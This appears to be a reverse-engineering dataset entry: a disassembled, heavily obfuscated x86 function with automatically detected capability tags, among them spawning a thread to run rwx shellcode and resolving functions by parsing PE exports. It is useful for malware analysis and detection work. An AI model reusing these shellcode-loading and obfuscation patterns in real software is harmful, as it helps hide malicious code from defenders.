Function at 0x4509c0
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1054
call fcn.005b3e00
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1f4], eax
mov eax, dword [0x5e5680]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1ec], 0x69d44db9
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x1f8], eax
sub eax, 0x8114a3f8
je 0x48ad23
jmp 0x450a09
mov eax, dword [ebp - 0x1f8]
sub eax, 0x839d47fe
je 0x48b395
jmp 0x450a1f
mov eax, dword [ebp - 0x1f8]
sub eax, 0x84bcd02d
je 0x4899e1
jmp 0x450a35
mov eax, dword [ebp - 0x1f8]
sub eax, 0x85b41068
je 0x4795b9
jmp 0x450a4b
mov eax, dword [ebp - 0x1f8]
sub eax, 0x882e5b16
je 0x47d9b7
jmp 0x450a61
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8964f555
je 0x46d8c1
jmp 0x450a77
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8b4a053d
je 0x46363b
jmp 0x450a8d
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8b8be93b
je 0x47d4f7
jmp 0x450aa3
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8ba95e1a
je 0x4608c3
jmp 0x450ab9
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8bf37fdb
je 0x474bf0
jmp 0x450acf
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8d6f0022
je 0x45d18d
jmp 0x450ae5
mov eax, dword [ebp - 0x1f8]
sub eax, 0x91ab3017
je 0x481b61
jmp 0x450afb
mov eax, dword [ebp - 0x1f8]
sub eax, 0x934e145b
je 0x483710
jmp 0x450b11
mov eax, dword [ebp - 0x1f8]
sub eax, 0x935cb734
je 0x46a586
jmp 0x450b27
mov eax, dword [ebp - 0x1f8]
sub eax, 0x93698d84
je 0x486839
jmp 0x450b3d
mov eax, dword [ebp - 0x1f8]
sub eax, 0x95acf756
je 0x481dd8
jmp 0x450b53
mov eax, dword [ebp - 0x1f8]
sub eax, 0x96e8faa8
je 0x45dc65
jmp 0x450b69
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9712b442
je 0x4559f7
jmp 0x450b7f
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9860d773
je 0x467ac0
jmp 0x450b95
mov eax, dword [ebp - 0x1f8]
sub eax, 0x98af757e
je 0x456a9d
jmp 0x450bab
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9a4e3323
je 0x478af6
jmp 0x450bc1
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9a6ddafd
je 0x48b402
jmp 0x450bd7
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9a979f65
je 0x4820ea
jmp 0x450bed
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9b3421c9
je 0x46f376
jmp 0x450c03
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9c72c576
je 0x45bc48
jmp 0x450c19
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9d0c05e5
je 0x4771c2
jmp 0x450c2f
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9d36ca64
je 0x45e663
jmp 0x450c45
mov eax, dword [ebp - 0x1f8]
sub eax, 0x9f9e3e09
je 0x4890ff
jmp 0x450c5b
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa03c9b6e
je 0x469687
jmp 0x450c71
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa082363c
je 0x484ae1
jmp 0x450c87
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa2233e30
je 0x48aea4
jmp 0x450c9d
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa349f480
je 0x454067
jmp 0x450cb3
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa41a6f13
je 0x48ad38
jmp 0x450cc9
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa432ff1d
je 0x452198
jmp 0x450cdf
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa4a5bd23
je 0x483f6b
jmp 0x450cf5
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa4e22c3c
je 0x46e48f
jmp 0x450d0b
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa685999e
je 0x45b8d6
jmp 0x450d21
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa770a94a
je 0x47a29b
jmp 0x450d37
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa831cc9f
je 0x4899ff
jmp 0x450d4d
mov eax, dword [ebp - 0x1f8]
sub eax, 0xa9dfe562
je 0x45ba42
jmp 0x450d63
mov eax, dword [ebp - 0x1f8]
sub eax, 0xac2015e6
je 0x48b4c5
jmp 0x450d79
mov eax, dword [ebp - 0x1f8]
sub eax, 0xacd671ce
je 0x48b0e3
jmp 0x450d8f
mov eax, dword [ebp - 0x1f8]
sub eax, 0xb0b3e785
je 0x46d0ca
jmp 0x450da5
mov eax, dword [ebp - 0x1f8]
sub eax, 0xb212be97
je 0x4764d1
jmp 0x450dbb
mov eax, dword [ebp - 0x1f8]
sub eax, 0xb3ce1546
je 0x46b6c0
jmp 0x450dd1
mov eax, dword [ebp - 0x1f8]
sub eax, 0xb49ccb99
je 0x47aeca
jmp 0x450de7
mov eax, dword [ebp - 0x1f8]
sub eax, 0xb4b048bd
je 0x4569e4
jmp 0x450dfd
mov eax, dword [ebp - 0x1f8]
sub eax, 0xbbd46b21
je 0x455ff9
jmp 0x450e13
mov eax, dword [ebp - 0x1f8]
sub eax, 0xbda8145d
je 0x456024
jmp 0x450e29
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc17ba066
je 0x47b23c
jmp 0x450e3f
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc257ada5
je 0x458bcd
jmp 0x450e55
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc344d4fb
je 0x456e8f
jmp 0x450e6b
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc5917b3b
je 0x46bf17
jmp 0x450e81
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc623b68a
je 0x459ecd
jmp 0x450e97
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc6d894cc
je 0x4569ff
jmp 0x450ead
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc6f7fc1c
je 0x45b64d
jmp 0x450ec3
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc71bacae
je 0x4666f8
jmp 0x450ed9
mov eax, dword [ebp - 0x1f8]
sub eax, 0xc89ed99f
je 0x48ad47
jmp 0x450eef
mov eax, dword [ebp - 0x1f8]
sub eax, 0xcd56ff26
je 0x474be1
jmp 0x450f05
mov eax, dword [ebp - 0x1f8]
sub eax, 0xcfde3551
je 0x48b4f5
jmp 0x450f1b
mov eax, dword [ebp - 0x1f8]
sub eax, 0xd03c4b80
je 0x476e98
jmp 0x450f31
mov eax, dword [ebp - 0x1f8]
sub eax, 0xd169496f
je 0x45abb4
jmp 0x450f47
mov eax, dword [ebp - 0x1f8]
sub eax, 0xd1fd3dc4
je 0x4612d3
jmp 0x450f5d
mov eax, dword [ebp - 0x1f8]
sub eax, 0xd2030ddf
je 0x46b733
jmp 0x450f73
mov eax, dword [ebp - 0x1f8]
sub eax, 0xd32836ee
je 0x48adad
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov edx, ecx
sub edx, 0x2e9ef5c7
add edx, 0x838b5434
add edx, 0x2e9ef5c7
xor esi, esi
sub esi, 0x9d425fa3
sub edx, esi
sub edx, 0xbe8ec0cf
sub edx, 0x838b5434
add edx, 0xbe8ec0cf
xor esi, esi
sub esi, 0x966ca2d6
sub esi, 1
add esi, 0x966ca2d6
sub edx, 0x183a9c3e
add edx, esi
add edx, 0x183a9c3e
mov edi, 0x25c582d1
add edi, 0
sub edi, 0x9d425fa3
sub edi, 0x25c582d1
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bh
cmp eax, 0xa
setl al
mov byte [ebp - 0x23f], al
mov dl, bh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
or ch, cl
mov dl, ch
xor dl, 0xff
mov cl, bh
xor cl, dl
and cl, bh
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 0
or dl, dh
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x257], dl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, dl
and ah, 0xff
and al, dh
mov byte [ebp - 0x259], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x258], al
mov al, byte [ebp - 0x259]
and cl, dh
or ah, al
mov al, byte [ebp - 0x258]
or al, cl
mov cl, byte [ebp - 0x257]
xor ah, al
mov al, byte [ebp - 0x23f]
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov dl, ah
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov dh, 1
xor dh, 1
mov al, dl
xor al, dh
and al, dl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x256], cl
mov ah, 1
xor ah, 0
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
mov al, 1
xor al, 0
mov ch, 1
xor ch, 0
or cl, al
mov al, byte [ebp - 0x256]
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, 1
xor ch, 1
xor al, 0xff
mov byte [ebp - 0x255], al
mov al, 1
xor al, 0
mov byte [ebp - 0x254], al
mov al, byte [ebp - 0x255]
or ch, al
mov al, byte [ebp - 0x254]
or al, 0
xor ch, 0xff
and ch, al
mov byte [ebp - 0x253], ch
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x24e], al
mov dl, cl
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x252], al
and cl, ah
mov al, ch
and al, 0xff
mov byte [ebp - 0x250], al
mov al, byte [ebp - 0x253]
and al, ah
mov byte [ebp - 0x251], al
mov al, byte [ebp - 0x252]
or al, cl
mov cl, byte [ebp - 0x251]
mov byte [ebp - 0x24f], al
mov al, byte [ebp - 0x250]
or al, cl
mov cl, byte [ebp - 0x24f]
xor cl, al
mov al, byte [ebp - 0x24e]
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov byte [ebp - 0x205], dl
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, bl
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, bl
and al, cl
or ch, al
xor ch, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and bh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, bh
or cl, ah
xor al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov byte [ebp - 0x24a], dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x24b], bh
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0x24d], al
mov al, ah
and al, 0
mov byte [ebp - 0x24c], al
mov al, byte [ebp - 0x24d]
and cl, dl
or bh, al
mov al, byte [ebp - 0x24c]
or al, cl
mov cl, byte [ebp - 0x24b]
xor bh, al
mov al, byte [ebp - 0x24a]
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or bh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and bh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, bh
or al, ah
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov bh, dh
and bh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, bh
or cl, ah
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov ah, 1
xor ah, 1
and ah, 1
mov bh, 1
xor bh, 1
and bh, 1
or ah, bh
mov byte [ebp - 0x245], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x247], ah
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x246], bh
mov bh, 1
xor bh, 1
and ah, 0xff
and al, bh
mov byte [ebp - 0x249], al
mov al, byte [ebp - 0x246]
and al, 0xff
mov byte [ebp - 0x248], al
mov al, byte [ebp - 0x249]
and cl, bh
or ah, al
mov al, byte [ebp - 0x248]
or al, cl
mov cl, byte [ebp - 0x247]
xor ah, al
mov al, byte [ebp - 0x246]
or cl, al
mov al, byte [ebp - 0x245]
xor cl, 0xff
or bh, 1
and cl, bh
or ah, cl
mov bh, 1
xor bh, 1
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x23e], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x23d], cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x243], cl
mov cl, byte [ebp - 0x23d]
and cl, 1
mov byte [ebp - 0x244], cl
mov cl, byte [ebp - 0x23e]
and cl, 0
mov byte [ebp - 0x242], cl
mov cl, byte [ebp - 0x23d]
and al, cl
mov cl, byte [ebp - 0x244]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x243]
or al, cl
mov cl, byte [ebp - 0x242]
mov byte [ebp - 0x240], al
mov al, byte [ebp - 0x241]
or cl, al
mov al, byte [ebp - 0x240]
xor al, cl
mov cl, byte [ebp - 0x23f]
mov byte [ebp - 0x23c], al
mov al, byte [ebp - 0x23e]
or bh, al
mov al, byte [ebp - 0x23d]
xor bh, 0xff
or al, 0
and bh, al
mov al, byte [ebp - 0x23c]
or al, bh
mov byte [ebp - 0x23b], al
mov bh, ah
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and ah, al
mov al, byte [ebp - 0x23b]
or bh, ah
xor al, 0xff
mov ah, bh
xor ah, al
mov al, byte [ebp - 0x205]
and ah, bh
mov byte [ebp - 0x232], ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and al, bh
mov byte [ebp - 0x23a], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x239], al
mov al, byte [ebp - 0x23a]
and bh, 1
or ah, al
mov al, byte [ebp - 0x239]
or al, bh
xor ah, al
mov al, cl
xor al, 0xff
mov bh, ah
and bh, al
xor ah, 0xff
mov al, cl
and al, ah
or bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, dl
xor al, 0xff
mov ah, ch
xor ah, al
and ah, ch
mov al, ch
xor al, 0xff
and al, 0
mov byte [ebp - 0x238], al
mov al, 1
xor al, 0
and ch, al
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, al
mov al, byte [ebp - 0x238]
or al, ch
or cl, dl
xor al, cl
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x235], ch
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and ah, cl
mov byte [ebp - 0x237], ah
mov ah, dl
and ah, 0xff
and al, cl
mov byte [ebp - 0x236], al
mov al, byte [ebp - 0x237]
or ch, al
mov al, byte [ebp - 0x236]
or ah, al
mov al, byte [ebp - 0x235]
xor ch, ah
mov ah, byte [ebp - 0x232]
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x225], al
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0x234], al
mov ah, 1
xor ah, 1
mov cl, ah
and cl, 0
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x233], al
mov al, byte [ebp - 0x234]
and ah, 1
or al, cl
mov cl, byte [ebp - 0x233]
or cl, ah
mov ah, byte [ebp - 0x225]
xor al, cl
mov byte [ebp - 0x227], al
xor ah, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
or ah, cl
mov cl, byte [ebp - 0x227]
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x232]
xor cl, 0xff
xor al, cl
mov cl, byte [ebp - 0x232]
and al, cl
mov byte [ebp - 0x231], al
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
mov cl, byte [ebp - 0x231]
and al, dl
mov byte [ebp - 0x22e], al
mov al, byte [ebp - 0x227]
xor bh, 0xff
xor al, 0xff
mov byte [ebp - 0x230], al
mov al, 1
xor al, 1
mov byte [ebp - 0x22f], al
mov al, byte [ebp - 0x230]
or bh, al
mov al, byte [ebp - 0x22f]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x22e]
mov byte [ebp - 0x22d], bh
mov bh, ah
and bh, cl
xor ah, cl
mov cl, byte [ebp - 0x22d]
or bh, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x229], ah
xor cl, 0xff
mov byte [ebp - 0x22a], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x228], cl
and ah, 0
and al, cl
mov cl, byte [ebp - 0x22d]
mov byte [ebp - 0x22c], al
mov al, byte [ebp - 0x22a]
and al, 0
mov byte [ebp - 0x22b], al
mov al, byte [ebp - 0x228]
and cl, al
mov al, byte [ebp - 0x22c]
or ah, al
mov al, byte [ebp - 0x22b]
or al, cl
mov cl, byte [ebp - 0x22a]
xor ah, al
mov al, byte [ebp - 0x229]
or al, cl
mov cl, byte [ebp - 0x228]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0x227]
or ah, al
mov byte [ebp - 0x226], ah
mov al, bh
xor al, 0xff
and ah, al
mov al, byte [ebp - 0x226]
xor al, 0xff
and bh, al
mov al, byte [ebp - 0x225]
or ah, bh
mov byte [ebp - 0x222], ah
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and bh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bh
or dl, ah
xor al, dl
mov byte [ebp - 0x220], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x221], al
mov bh, 1
xor bh, 0
mov ah, dl
and ah, 0
mov al, bh
and al, 0
mov byte [ebp - 0x224], al
mov al, byte [ebp - 0x221]
and al, 0
mov byte [ebp - 0x223], al
mov al, byte [ebp - 0x224]
and cl, bh
or ah, al
mov al, byte [ebp - 0x223]
or al, cl
mov cl, byte [ebp - 0x222]
xor ah, al
mov al, byte [ebp - 0x221]
or dl, al
mov al, byte [ebp - 0x220]
xor dl, 0xff
or bh, 0
and dl, bh
or ah, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x21e], bh
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
mov byte [ebp - 0x21f], bh
and cl, dl
mov bh, ah
and bh, 0xff
and al, dl
mov byte [ebp - 0x21d], al
mov al, byte [ebp - 0x21f]
or al, cl
mov cl, byte [ebp - 0x21e]
mov byte [ebp - 0x21c], al
mov al, byte [ebp - 0x21d]
or bh, al
mov al, byte [ebp - 0x21c]
xor al, bh
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x21b], al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov bh, ch
and bh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, bh
or cl, dl
xor ah, cl
mov cl, 1
xor cl, 0
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, 1
xor ah, 0
and ah, 1
mov dl, 1
xor dl, 1
and dl, 0
or ah, dl
mov bh, ah
xor bh, 0xff
mov dl, ch
xor dl, bh
and dl, ch
mov byte [ebp - 0x21a], dl
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and al, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or bh, al
mov al, byte [ebp - 0x21b]
or dl, ch
xor bh, dl
xor bh, 0xff
mov ch, 1
xor ch, 0
mov dl, 1
xor dl, 1
or bh, ch
mov ch, byte [ebp - 0x21a]
or dl, 1
xor bh, 0xff
and bh, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x215], al
mov dl, cl
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x219], al
and cl, ah
mov al, ch
and al, 0xff
mov byte [ebp - 0x217], al
mov al, byte [ebp - 0x21a]
and al, ah
mov byte [ebp - 0x218], al
mov al, byte [ebp - 0x219]
or al, cl
mov cl, byte [ebp - 0x218]
mov byte [ebp - 0x216], al
mov al, byte [ebp - 0x217]
or al, cl
mov cl, byte [ebp - 0x216]
xor cl, al
mov al, byte [ebp - 0x215]
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x212], cl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bh, ah
mov byte [ebp - 0x214], bh
mov bh, ch
and bh, 0xff
and al, ah
mov byte [ebp - 0x213], al
mov al, byte [ebp - 0x214]
or cl, al
mov al, byte [ebp - 0x213]
or bh, al
mov al, byte [ebp - 0x212]
xor cl, bh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov bh, bl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or al, cl
mov byte [ebp - 0x211], al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov byte [ebp - 0x20e], ah
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
or ch, cl
mov cl, byte [ebp - 0x211]
or al, 0
xor ch, 0xff
and ch, al
xor bl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
xor cl, 0xff
mov al, 1
xor al, 1
mov ah, 1
xor ah, 1
or cl, al
mov al, byte [ebp - 0x20e]
or ah, 1
xor cl, 0xff
and cl, ah
xor al, 0xff
mov ah, dh
xor ah, al
mov al, byte [ebp - 0x211]
and ah, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bl, ah
and bl, 0
and bh, ch
mov byte [ebp - 0x210], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x20f], al
mov al, byte [ebp - 0x210]
or bl, al
mov al, byte [ebp - 0x20f]
or bh, al
mov al, byte [ebp - 0x20e]
xor bl, bh
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or bl, ah
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x20b], ah
mov ah, 1
xor ah, 1
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x20d], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x20c], al
mov al, byte [ebp - 0x20d]
or ch, al
mov al, byte [ebp - 0x20c]
or bh, al
mov al, byte [ebp - 0x20b]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
mov ah, ch
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov byte [ebp - 0x20a], bh
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ah, bl
or al, dh
xor ah, al
xor ah, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 1
xor ch, 0xff
mov al, 1
xor al, 1
or dh, ch
or al, 1
xor dh, 0xff
and dh, al
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, ch
and al, 0
mov byte [ebp - 0x209], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x208], al
mov al, byte [ebp - 0x20a]
and al, bl
mov byte [ebp - 0x207], al
mov al, byte [ebp - 0x209]
or al, cl
mov cl, byte [ebp - 0x208]
mov byte [ebp - 0x206], al
mov al, byte [ebp - 0x207]
or cl, al
mov al, byte [ebp - 0x206]
xor al, cl
mov cl, byte [ebp - 0x205]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or al, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov dh, al
xor dh, 0xff
mov ah, ch
and ah, dh
xor ch, 0xff
and al, ch
or ah, al
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov byte [ebp - 0x1ff], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and cl, ch
or bh, cl
mov byte [ebp - 0x202], bh
